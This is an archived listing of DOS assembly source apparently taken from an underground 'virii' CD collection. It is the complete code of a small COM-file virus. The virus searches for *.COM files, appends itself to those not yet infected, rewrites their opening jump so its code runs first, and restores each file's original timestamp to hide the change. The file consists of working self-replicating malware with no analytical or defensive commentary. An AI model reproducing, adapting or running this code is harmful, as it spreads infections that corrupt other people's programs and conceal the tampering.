home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / tiny-c.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  4.7 KB  |  102 lines

  1.     PAGE    ,132
  2.  
  3. tinyv   SEGMENT BYTE PUBLIC 'code'
  4.  
  5.         ASSUME  CS:tinyv
  6.  
  7.         ASSUME  SS:tinyv
  8.  
  9.         ASSUME  DS:tinyv
  10.  
  11. H00000    DB    0
  12.  
  13. H00001    DB    255 DUP(?)
  14.  
  15. program  PROC    FAR
  16.  
  17.         ASSUME  ES:tinyv
  18.  
  19. begin:
  20.  
  21.         JMP     pgstart                 ; start program
  22.  
  23. exlbl   LABEL   BYTE
  24.  
  25.         db      0CDh, 20h, 7, 8, 9
  26.  
  27. pgstart:
  28.  
  29.         CALL    tinyvir
  30.  
  31. mnprg   PROC    NEAR
  32.  
  33. tinyvir:
  34.  
  35.         POP     SI                      ; get SI for storage
  36.  
  37.         SUB     SI,offset tinyvir       ; reset SI to virus start
  38.  
  39.         MOV     BP,[SI+blnkdat]         ; store SI in BP for return
  40.  
  41.         ADD     BP,offset exlbl         ; Add to get original offset
  42.  
  43.  
  44.  
  45.         LEA     DX,[SI+fspec]           ; get filespec (*.COM)
  46.  
  47.         SUB     CX,CX                   ;        ||    (clear regs)
  48.  
  49.         MOV     AH,4EH                  ;        ||   (find files)
  50.  
  51. mainloop:                               ;       \||/
  52.  
  53.         INT     21H                     ;    ----\/----
  54.  
  55.         JC      hiccup                  ; no more files found, terminate virus
  56.  
  57.         MOV     DX,009EH                ; set file name pointer
  58.  
  59.         MOV     AX,3D02H                ; open file
  60.  
  61.         INT     21H                     ; do it!
  62.  
  63.         MOV     BX,AX                   ; move file handle to BX
  64.  
  65.         MOV     AH,3FH                  ; read file
  66.  
  67.         LEA     DX,[SI+endprog]         ; load end of program (as buffer pntr)
  68.  
  69.         MOV     DI,DX                   ; set Dest Index to area for buffer (?)
  70.  
  71.         MOV     CX,0003H                ; read 3 bytes
  72.  
  73.         INT     21H                     ; do it!
  74.  
  75.         CMP     BYTE PTR [DI],0E9H      ; check for JMP at start
  76.  
  77.         JE      infect                  ; If begins w/JMP, Infect
  78.  
  79. nextfile:
  80.  
  81.         MOV     AH,4FH                  ; set int 21 to find next file
  82.  
  83.         JMP     mainloop                ; next file, do it!
  84.  
  85. hiccup: JMP     nofile
  86.  
  87. infect:
  88.  
  89.         MOV     AX,5700h                ; get date function
  90.  
  91.         INT     21h                     ; do it!
  92.  
  93.         PUSH    DX                      ; store date + time
  94.  
  95.         PUSH    CX
  96.  
  97.         MOV     DX,[DI+01H]             ; set # of bytes to move
  98.  
  99.         MOV     [SI+blnkdat],DX         ;  "  " "    "   "   "
  100.  
  101.         SUB     CX,CX                   ;  "  " "    "   "   " (0 here)
  102.  
  103.         MOV     AX,4200H                ; move file
  104.  
  105.         INT     21H                     ; do it!
  106.  
  107.         MOV     DX,DI                   ; set dest index to area for buffer (?)
  108.  
  109.         MOV     CX,0002H                ; two bytes
  110.  
  111.         MOV     AH,3FH                  ; read file
  112.  
  113.         INT     21H                     ; do it!
  114.  
  115.         CMP     WORD PTR [DI],0807H     ; check for infection
  116.  
  117.         JE      nextfile                ; next file if infected
  118.  
  119.         SUB     DX,DX                   ; clear regs
  120.  
  121.         SUB     CX,CX                   ;   "    "
  122.  
  123.         MOV     AX,4202H                ; move file pointer
  124.  
  125.         INT     21H                     ; do it!
  126.  
  127.         CMP     DX,00H                  ; new pointer location 0?
  128.  
  129.         JNE     nextfile                ; if no then next file
  130.  
  131.         CMP     AH,0FEH                 ; new pointer loc too high?
  132.  
  133.         JNC     nextfile                ; yes, try again
  134.  
  135.         MOV     [SI+offset endprog+3],AX; point to data
  136.  
  137.         MOV     AH,40H                  ; write instruction
  138.  
  139.         LEA     DX,[SI+0105H]           ; write buffer loc    |
  140.  
  141.         MOV     CX,offset endprog-105h  ; (size of virus)  --\|/--
  142.  
  143.         INT     21H                     ; do it!
  144.  
  145.         JC      exit                    ; error, bug out
  146.  
  147.         MOV     AX,4200H                ; move pointer
  148.  
  149.         SUB     CX,CX                   ; clear reg
  150.  
  151.         MOV     DX,OFFSET H00001        ; where to set pointer
  152.  
  153.         INT     21H                     ; do it!
  154.  
  155.         MOV     AH,40H                  ; write to file
  156.  
  157.         LEA     DX,[SI+offset endprog+3]; write data at SI+1AB
  158.  
  159.         MOV     CX,0002H                ; two bytes (the JMP)
  160.  
  161.         INT     21H                     ; do it!
  162.  
  163.         MOV     AX,5701h                ; store date
  164.  
  165.         POP     CX                      ; restore time
  166.  
  167.         POP     DX                      ; restore date
  168.  
  169.         INT     21h                     ; do it!
  170.  
  171. exit:
  172.  
  173.         MOV     AH,3EH                  ; close file
  174.  
  175.         INT     21H                     ; do it!
  176.  
  177. nofile:
  178.  
  179.  
  180.  
  181.         JMP     BP                      ; go to original file
  182.  
  183. mnprg   ENDP
  184.  
  185. program  ENDP
  186.  
  187. blnkdat LABEL   WORD
  188.  
  189.         DW      0000H
  190.  
  191. fspec   LABEL   WORD
  192.  
  193.         DB      '*.COM'
  194.  
  195.     DB    0
  196.  
  197. endprog LABEL   WORD
  198.  
  199. tinyv   ENDS
  200.  
  201.         END     program
  202.  
  203.